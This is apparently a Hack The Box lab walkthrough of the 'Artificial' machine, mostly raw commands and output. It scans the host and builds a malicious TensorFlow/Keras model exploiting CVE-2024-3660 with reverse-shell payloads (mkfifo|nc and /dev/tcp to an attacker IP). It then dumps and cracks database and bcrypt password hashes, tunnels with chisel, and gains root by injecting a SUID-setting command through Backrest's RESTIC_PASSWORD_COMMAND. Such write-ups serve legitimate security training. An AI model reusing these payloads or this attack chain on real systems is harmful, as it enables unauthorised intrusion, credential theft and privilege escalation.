Here is my note on ARTIFICIAL box from Hackthebox.
ARTIFICIAL: 10.129.29.219
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 7ce48d84c5de913a5a2b9d34edd69917 (RSA)
| 256 83462dcf736d286f11d51db48820d67c (ECDSA)
|_ 256 e3182e3b4061b45987e84a29240f6afc (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://artificial.htb/
Starting nikto scan
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP: 10.129.29.219
+ Target Hostname: 10.129.29.219
+ Target Port: 80
+ Start Time: 2025-08-25 10:45:30 (GMT-4)
---------------------------------------------------------------------------
+ Server: nginx/1.18.0 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME typ
e. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ Root page / redirects to: http://artificial.htb/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ nginx/1.18.0 appears to be outdated (current is at least 1.20.1).
Finished nikto scan
sudo gobuster dir -u http://artificial.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 40 -x php
/login (Status: 200) [Size: 857]
/register (Status: 200) [Size: 952]
/logout (Status: 302) [Size: 189] [--> /]
/dashboard (Status: 302) [Size: 199] [--> /login]
ffuf -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://artifical.htb/ -H "Host: FUZZ.artifical.htb"
#NO VHOST.
Let's try to register an account and login as usual.
This will leads to /dashboard.
/dashboard:
YOUR MODELS
Upload, manage, and run your AI models here.
Please ensure these [requirements] are installed when building your model, or use our [Dockerfile] to build the needed environment with ease.
Upload File
┌──(root㉿kali)-[/home/kali/Downloads]
└─# cat requirements.txt
tensorflow-cpu==2.13.1
┌──(root㉿kali)-[/home/kali/Downloads]
└─# cat Dockerfile
FROM python:3.8-slim
WORKDIR /code
RUN apt-get update && \
apt-get install -y curl && \
curl -k -LO https://files.pythonhosted.org/packages/65/ad/4e090ca3b4de53404df9d1247c8a371346737862cfe539e7516fd23149a4/tensorflow_cpu-2.13.1-cp38-cp38-
manylinux_2_17_x86_64.manylinux2014_x86_64.whl && \
rm -rf /var/lib/apt/lists/*
RUN pip install ./tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl
As long Dockerfile is in the current directory.
docker build -t my-python-tf .
┌──(root㉿kali)-[/home/…/BOXES/ARTIFICAL/10.129.29.219/CVE-2024-3660-PoC]
└─# docker rm tf-container
tf-container
┌──(root㉿kali)-[/home/…/BOXES/ARTIFICAL/10.129.29.219/CVE-2024-3660-PoC]
└─# docker run -it --name tf-container my-python-tf
root@4a3ac3ceefed:/code#
It's vulnerable to CVE-2024-3660.
https://github.com/Splinter0/tensorflow-rce/blob/main/exploit.py
root@261e1aa30c66:/code# curl https://raw.githubusercontent.com/Splinter0/tensorflow-rce/refs/heads/main/exploit.py -o exploit.py
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 326 100 326 0 0 1547 0 --:--:-- --:--:-- --:--:-- 1552
root@261e1aa30c66:/code# cat exploit.py
import tensorflow as tf
def exploit(x):
import os
os.system("rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 6666 >/tmp/f")
return x
model = tf.keras.Sequential()
model.add(tf.keras.layers.Input(shape=(64,)))
model.add(tf.keras.layers.Lambda(exploit))
model.compile()
model.save("exploit.h5")root@261e1aa30c66:/code# python3 exploit.py
2025-08-25 17:43:26.950612: I tensorflow/core/platform/cpu_feature_guard.cc:182] This TensorFlow binary is optimized to use available CPU instructions in performance-critical operations.
To enable the following instructions: FMA, in other operations, rebuild TensorFlow with the appropriate compiler flags.
sh: 1: nc: not found
/usr/local/lib/python3.8/site-packages/keras/src/engine/training.py:3000: UserWarning: You are saving your model as an HDF5 file via `model.save()`. This file format is considered legacy. We recommend using instead the native Keras format, e.g. `model.save('my_model.keras')`.
saving_api.save_model(
root@261e1aa30c66:/code# ls
exploit.h5 exploit.py tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl
python3 - <<EOF
import tensorflow as tf
def exploit(x):
import os
os.system("wget http://10.10.14.135/ >/tmp/f")
return x
model = tf.keras.Sequential()
model.add(tf.keras.layers.Input(shape=(64,)))
model.add(tf.keras.layers.Lambda(exploit))
model.compile()
model.save("exploit.h5")
EOF
┌──(root㉿kali)-[/home/kali/BOXES/ARTIFICAL/10.129.29.219]
└─# docker ps -a
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
261e1aa30c66 my-python-tf "/bin/bash" 9 minutes ago Exited (0) About a minute ago tf-container
a1c34e3ed5dc 5507410948b7 "/bin/sh -c 'pip ins…" 28 minutes ago Exited (2) 25 minutes ago relaxed_lovelace
bbcebb614f7f 9b266d65832b "/bin/bash" About an hour ago Created reverent_mestorf
docker cp tf-container:/code/exploit.h5 .
docker start -ai tf-container
IT WORKS !
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.14.135 1234 >/tmp/f
python3 - <<EOF
import tensorflow as tf
def exploit(x):
import os
os.system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.14.135 1234 >/tmp/f")
return x
model = tf.keras.Sequential()
model.add(tf.keras.layers.Input(shape=(64,)))
model.add(tf.keras.layers.Lambda(exploit))
model.compile()
model.save("exploit.h5")
EOF
docker cp tf-container:/code/exploit.h5 .
Upload it and View Protections to execute it
https://nvd.nist.gov/vuln/detail/CVE-2024-3660
https://github.com/advisories/GHSA-x4wf-678h-2pmq
https://www.oligo.security/blog/tensorflow-keras-downgrade-attack-cve-2024-3660-bypass
https://github.com/aaryanbhujang/CVE-2024-3660-PoC
#NOPE:
python3 - <<EOF
import tensorflow as tf
def arbexe(x):
import os
os.system(f"rm -f /tmp/f; mknod /tmp/f p; cat /tmp/f | /bin/sh -i 2>&1 | nc {os.environ['10.10.14.135']} {os.environ['1234']} >/tmp/f")
return x
model = tf.keras.Sequential()
model.add(tf.keras.layers.Input(shape=(64,)))
model.add(tf.keras.layers.Lambda(arbexe))
model.compile()
model.save("CVE20243660.h5")
EOF
import tensorflow as tfimport osdef exploit(x): import os os.system("/bin/bash -i >& /dev/tcp/10.10.14.135/1234 0>&1") return xmodel = tf.keras.Sequential()model.add(tf.keras.layers.Input(shape=(64,)))model.add(tf.keras.layers.Lambda(exploit))model.compile()model.save("model.h5")
docker buildx build \
--platform linux/amd64 \
--build-arg LHOST=<YOUR-IP> \
--build-arg LPORT=<YOUR-PORT> \
-t tfimg . && \
container_id=$(docker create tfimg) && \
docker cp $container_id:/CVE20243660/CVE20243660.h5 ./CVE20243660.h5 && \
docker rm $container_id
docker buildx build \
--platform linux/amd64 \
--build-arg LHOST=10.10.14.135 \
--build-arg LPORT=1234 \
-t tfimg . && \
container_id=$(docker create tfimg) && \
docker cp $container_id:/CVE20243660/CVE20243660.h5 ./CVE20243660.h5 && \
docker rm $container_id
sudo rlwrap nc -lnvp 1234
listening on [any] 1234 ...
connect to [10.10.14.135] from (UNKNOWN) [10.129.29.219] 49090
bash: cannot set terminal process group (951): Inappropriate ioctl for device
bash: no job control in this shell
app@artificial:~/app$ whoami
whoami
app
app@artificial:~/app$ hostname
hostname
artificial
USER-SHELL !
PRIV ESC:
app -> gael:
app@artificial:~/app$ ls -lah
ls -lah
total 36K
drwxrwxr-x 7 app app 4.0K Aug 25 18:00 .
drwxr-x--- 6 app app 4.0K Jun 9 10:52 ..
-rw-rw-r-- 1 app app 7.7K Jun 9 13:54 app.py
drwxr-xr-x 2 app app 4.0K Aug 25 17:59 instance
drwxrwxr-x 2 app app 4.0K Aug 25 18:00 models
drwxr-xr-x 2 app app 4.0K Jun 9 13:55 __pycache__
drwxrwxr-x 4 app app 4.0K Jun 9 13:57 static
drwxrwxr-x 2 app app 4.0K Jun 18 13:21 templates
app@artificial:~/app$ cat app.py
cat app.py
from flask import Flask, render_template, request, redirect, url_for, session, send_file, flash
from flask_sqlalchemy import SQLAlchemy
from werkzeug.utils import secure_filename
import os
import tensorflow as tf
import hashlib
import uuid
import numpy as np
import io
from contextlib import redirect_stdout
import hashlib
app = Flask(__name__)
app.secret_key = "Sup3rS3cr3tKey4rtIfici4L"
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///users.db' #Interesting
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
app.config['UPLOAD_FOLDER'] = 'models'
app@artificial:~/app$ find / -type f -name "users.db" 2>/dev/null
find / -type f -name "users.db" 2>/dev/null
/home/app/app/instance/users.db
python3 -c 'import pty; pty.spawn("/bin/bash")'
app@artificial:~/app$ cd instance
cd instance
app@artificial:~/app/instance$ ls
ls
users.db
app@artificial:~/app/instance$ sqlite3 users.db
sqlite3 users.db
SQLite version 3.31.1 2020-01-27 19:55:54
Enter ".help" for usage hints.
sqlite>
app@artificial:~/app/instance$ sqlite3 users.db
sqlite3 users.db
SQLite version 3.31.1 2020-01-27 19:55:54
Enter ".help" for usage hints.
sqlite> .tables
.tables
model user
sqlite> select * from user;
select * from user;
1|gael|gael@artificial.htb|c99175974b6e192936d97224638a34f8:mattp005numbertwo
2|mark|mark@artificial.htb|0f3d8c76530022670f1c6029eed09ccb
3|robert|robert@artificial.htb|b606c5f5136170f15444251665638b36
4|royer|royer@artificial.htb|bc25b1f80f544c0ab451c02a3dca9fc6
5|mary|mary@artificial.htb|bf041041e57f1aff3be7ea1abd6129d0
6|qwop|qwop@qwop.com|0672928bfb2c2db8131688bb54642999
#Crack it with crackstation.
gael:mattp005numbertwo
ssh gael@10.129.29.219
gael@artificial:~$ whoami
gael
gael@artificial:~$ hostname
artificial
gael@artificial:~$ pwd
/home/gael
gael@artificial:~$ whoami
gael
gael@artificial:~$ hostname
artificial
gael@artificial:~$ cat user.txt
[REDIRECTED]
USER.TXT: [REDIRECTED]
gael -> root:
gael@artificial:~$ id
uid=1000(gael) gid=1000(gael) groups=1000(gael),1007(sysadm)
GCC enabled.
[+] Active Ports
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#open-ports
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:5000 0.0.0.0:* LISTEN - #AI
tcp 0 0 127.0.0.1:9898 0.0.0.0:* LISTEN - #BACKREST
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN - #LEADS TO AI
tcp6 0 0 :::22 :::* LISTEN -
tcp6 0 0 :::80 :::* LISTEN -
./chisel server -p 8000 --reverse
./chisel client 10.10.14.135:8000 R:5000:127.0.0.1:5000
./chisel client 10.10.14.135:8000 R:9898:127.0.0.1:9898
gael@artificial:/opt/backrest$ ls
backrest install.sh jwt-secret oplog.sqlite oplog.sqlite.lock oplog.sqlite-shm oplog.sqlite-wal processlogs restic tasklogs
gael@artificial:/opt/backrest$ pwd
/opt/backrest
backrest 1.7.2
[+] Readable files belonging to root and readable by me but not world readable
-rw-r----- 1 root gael 33 Aug 25 14:36 /home/gael/user.txt
-rw-r----- 1 root sysadm 52357120 Mar 4 22:19 /var/backups/backrest_backup.tar.gz
┌──(root㉿kali)-[/home/kali/BOXES/ARTIFICAL/10.129.29.219]
└─# scp gael@10.129.29.219:/var/backups/backrest_backup.tar.gz .
gael@10.129.29.219's password:
backrest_backup.tar.gz 100% 50MB 672.5KB/s 01:16
┌──(root㉿kali)-[/home/kali/BOXES/ARTIFICAL/10.129.29.219]
└─# ls
backrest_backup.tar.gz CVE-2024-3660-PoC exploit.h5 nmap nmapAutomator_10.129.29.219_All.txt recon
┌──(root㉿kali)-[/home/kali/BOXES/ARTIFICAL/10.129.29.219]
└─# thunar
ThunarThumbnailer: Failed to retrieve supported types: GDBus.Error:org.freedesktop.DBus.Error.ServiceUnknown: The name org.freedesktop.thumbnails.Thumbnailer1 was not provided by any .service files
┌──(root㉿kali)-[/home/kali/BOXES/ARTIFICAL/10.129.29.219]
└─# mv backrest_backup.tar.gz backrest_backup.tar
┌──(root㉿kali)-[/home/kali/BOXES/ARTIFICAL/10.129.29.219]
└─# thunar
ThunarThumbnailer: Failed to retrieve supported types: GDBus.Error:org.freedesktop.DBus.Error.ServiceUnknown: The name org.freedesktop.thumbnails.Thumbnailer1 was not provided by any .service files
┌──(root㉿kali)-[/home/kali/BOXES/ARTIFICAL/10.129.29.219]
└─# ls
backrest backrest_backup.tar CVE-2024-3660-PoC exploit.h5 nmap nmapAutomator_10.129.29.219_All.txt recon
┌──(root㉿kali)-[/home/kali/BOXES/ARTIFICAL/10.129.29.219]
└─# cd backrest
┌──(root㉿kali)-[/home/…/BOXES/ARTIFICAL/10.129.29.219/backrest]
└─# ls
backrest install.sh jwt-secret oplog.sqlite oplog.sqlite.lock oplog.sqlite-shm oplog.sqlite-wal processlogs restic tasklogs
┌──(root㉿kali)-[/home/…/ARTIFICAL/10.129.29.219/backrest/.config]
└─# ls
backrest
┌──(root㉿kali)-[/home/…/ARTIFICAL/10.129.29.219/backrest/.config]
└─# cd backrest
┌──(root㉿kali)-[/home/…/10.129.29.219/backrest/.config/backrest]
└─# ls
config.json
┌──(root㉿kali)-[/home/…/10.129.29.219/backrest/.config/backrest]
└─# cat config.json
{
"modno": 2,
"version": 4,
"instance": "Artificial",
"auth": {
"disabled": false,
"users": [
{
"name": "backrest_root",
"passwordBcrypt": "JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP"
}
]
}
}
JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP = Base64 Encoded.
$2a$10$cVGIy9VMXQd0gM5ginCmjei2kZR/ACMMkSsspbRutYP58EBZz/0QO
┌──(root㉿kali)-[/home/…/10.129.29.219/backrest/.config/backrest]
└─# cat hash.txt
backrest_root:$2a$10$cVGIy9VMXQd0gM5ginCmjei2kZR/ACMMkSsspbRutYP58EBZz/0QO
┌──(root㉿kali)-[/home/…/10.129.29.219/backrest/.config/backrest]
└─# john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
!@#$%^ (backrest_root)
1g 0:00:01:56 DONE (2025-08-25 14:50) 0.008608g/s 46.48p/s 46.48c/s 46.48C/s baby16..huevos
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Now we have backrest_root user credential for backrest service.
backrest service as root so we can run a command out of it to gain a root shell.
Add Restic Repo:
repo name: restic
repo URI: /tmp
password: exploit
Env Vars: RESTIC_PASSWORD_COMMAND=chmod u+s /bin/bash
Submit it and it will gave you an error.
Doesn't matter because it already executed it.
gael@artificial:/var/backups$ ls -lah /bin/bash
-rwsr-xr-x 1 root root 1.2M Apr 18 2022 /bin/bash
gael@artificial:/var/backups$ /bin/bash -p
bash-5.0# whoami
root
bash-5.0# hostname
artificial
ROOT-SHELL !
bash-5.0# whoami
root
bash-5.0# hostname
artificial
bash-5.0# pwd
/root
bash-5.0# ls
root.txt scripts
bash-5.0# cat root.txt
[REDIRECTED]
ROOT.TXT: [REDIRECTED]
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
